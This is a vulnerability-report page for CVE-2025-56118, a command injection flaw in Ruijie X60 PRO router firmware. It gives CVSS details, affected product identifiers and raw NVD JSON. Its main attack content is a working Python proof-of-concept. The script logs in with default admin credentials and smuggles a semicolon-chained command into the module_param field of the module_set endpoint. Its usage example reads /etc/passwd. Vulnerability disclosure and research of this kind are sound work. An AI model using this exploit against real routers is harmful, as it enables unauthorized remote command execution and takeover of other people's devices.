Security Vulnerability Report
中文
CVE-2025-56118 CVSS 8.8 HIGH

CVE-2025-56118

Published: 2025-12-11 19:15:57
Last Modified: 2025-12-23 15:39:52

Description

OS Command Injection vulnerability in Ruijie X60 PRO X60_10212014RG-X60 PRO V1.00/V2.00 allowing attackers to execute arbitrary commands via a crafted POST request to the module_set in file /usr/local/lua/dev_sta/nbr_cwmp.lua.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:ruijie:rg-ew3200gx_firmware:3.0\(1\)b11p219:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:rg-ew3200gx:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:ruijie:rg-x60_pro_firmware:1.021.2014:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:rg-x60_pro:1.0:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:ruijie:rg-x60_pro:2.0:*:*:*:*:*:*:* - NOT VULNERABLE
Ruijie X60 PRO V1.00
Ruijie X60 PRO V2.00
Ruijie X60_10212014RG-X60 PRO V1.00
Ruijie X60_10212014RG-X60 PRO V2.00

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-56118 PoC - Ruijie X60 PRO OS Command Injection This PoC demonstrates the command injection vulnerability in Ruijie X60 PRO router. Target: /usr/local/lua/dev_sta/nbr_cwmp.lua - module_set endpoint """ import requests import sys def exploit_cve_2025_56118(target_ip, target_port=80, username="admin", password="admin", cmd="whoami"): """ Exploit OS Command Injection in Ruijie X60 PRO Args: target_ip: Target router IP address target_port: Target router web port (default: 80) username: Valid username for authentication password: Valid password for authentication cmd: Command to execute on the target system Returns: Response from the exploited endpoint """ # Construct the target URL url = f"http://{target_ip}:{target_port}/cgi-bin/luci/api/nbr_cwmp/module_set" # Authentication cookies/session auth_data = { "username": username, "password": password } # Malicious payload with command injection # Using semicolon to chain commands malicious_cmd = f"{cmd};echo CVE-2025-56118" # Exploit payload for module_set endpoint exploit_data = { "module_name": "test_module", "module_param": malicious_cmd, # Command injection point "action": "set" } try: # First authenticate to get session session = requests.Session() # Login request login_url = f"http://{target_ip}:{target_port}/cgi-bin/luci" login_response = session.post(login_url, data=auth_data, timeout=10) # Send exploit request response = session.post(url, data=exploit_data, timeout=10) print(f"[*] Target: {target_ip}:{target_port}") print(f"[*] Payload: {malicious_cmd}") print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Body:\n{response.text}") return response except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port] [username] [password] [command]") print(f"Example: {sys.argv[0]} 192.168.1.1 80 admin admin 'cat /etc/passwd'") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 username = sys.argv[3] if len(sys.argv) > 3 else "admin" password = sys.argv[4] if len(sys.argv) > 4 else "admin" cmd = sys.argv[5] if len(sys.argv) > 5 else "whoami" exploit_cve_2025_56118(target_ip, target_port, username, password, cmd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-56118", "sourceIdentifier": "[email protected]", "published": "2025-12-11T19:15:57.270", "lastModified": "2025-12-23T15:39:51.777", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OS Command Injection vulnerability in Ruijie X60 PRO X60_10212014RG-X60 PRO V1.00/V2.00 allowing attackers to execute arbitrary commands via a crafted POST request to the module_set in file /usr/local/lua/dev_sta/nbr_cwmp.lua."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:rg-ew3200gx_firmware:3.0\\(1\\)b11p219:*:*:*:*:*:*:*", "matchCriteriaId": "7E6012BB-A7E3-4E7A-98C1-0F83F24FC8C4"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-ew3200gx:-:*:*:*:*:*:*:*", "matchCriteriaId": "260007FF-1C62-40CA-A149-1CFD445B77CF"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:rg-x60_pro_firmware:1.021.2014:*:*:*:*:*:*:*", "matchCriteriaId": "59DD81AE-54F2-4CCB-B915-4BB6B06919EB"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-x60_pro:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "1ADF39A4-F487-4E51-B136-0132EF49715F"}, {"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-x60_pro:2.0:*:*:*:*:*:*:*", "matchCriteriaId": "EF3FFCD9-A3A2-4179-AD74-5FC60BFAD8A2"}]}]}], "references": [{"url": "https://1drv.ms/f/c/12406a392c92914b/EqOEJce7qVtBlzpFonUkSfYBz09eegk6KowUdpDNexgUvw?e=qfwDKh", "source": "[email protected]", "tags": ["Broken Link", "Exploit"]}, {"url": "https://1drv.ms/t/c/12406a392c92914b/EV2jr71QaoFBjf3SLQcUA6sBcmzSsyx2jJ_XY7yOBk_Sjg?e=WOY7Wd", "source": "[email protected]", "tags": ["Broken Link", "Exploit"]}, {"url": "https://github.com/flegoity/Ruijie-Multiple-Devices-Vulnerability-Reports-for-CVE/blob/main/CVE-2025-56118.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}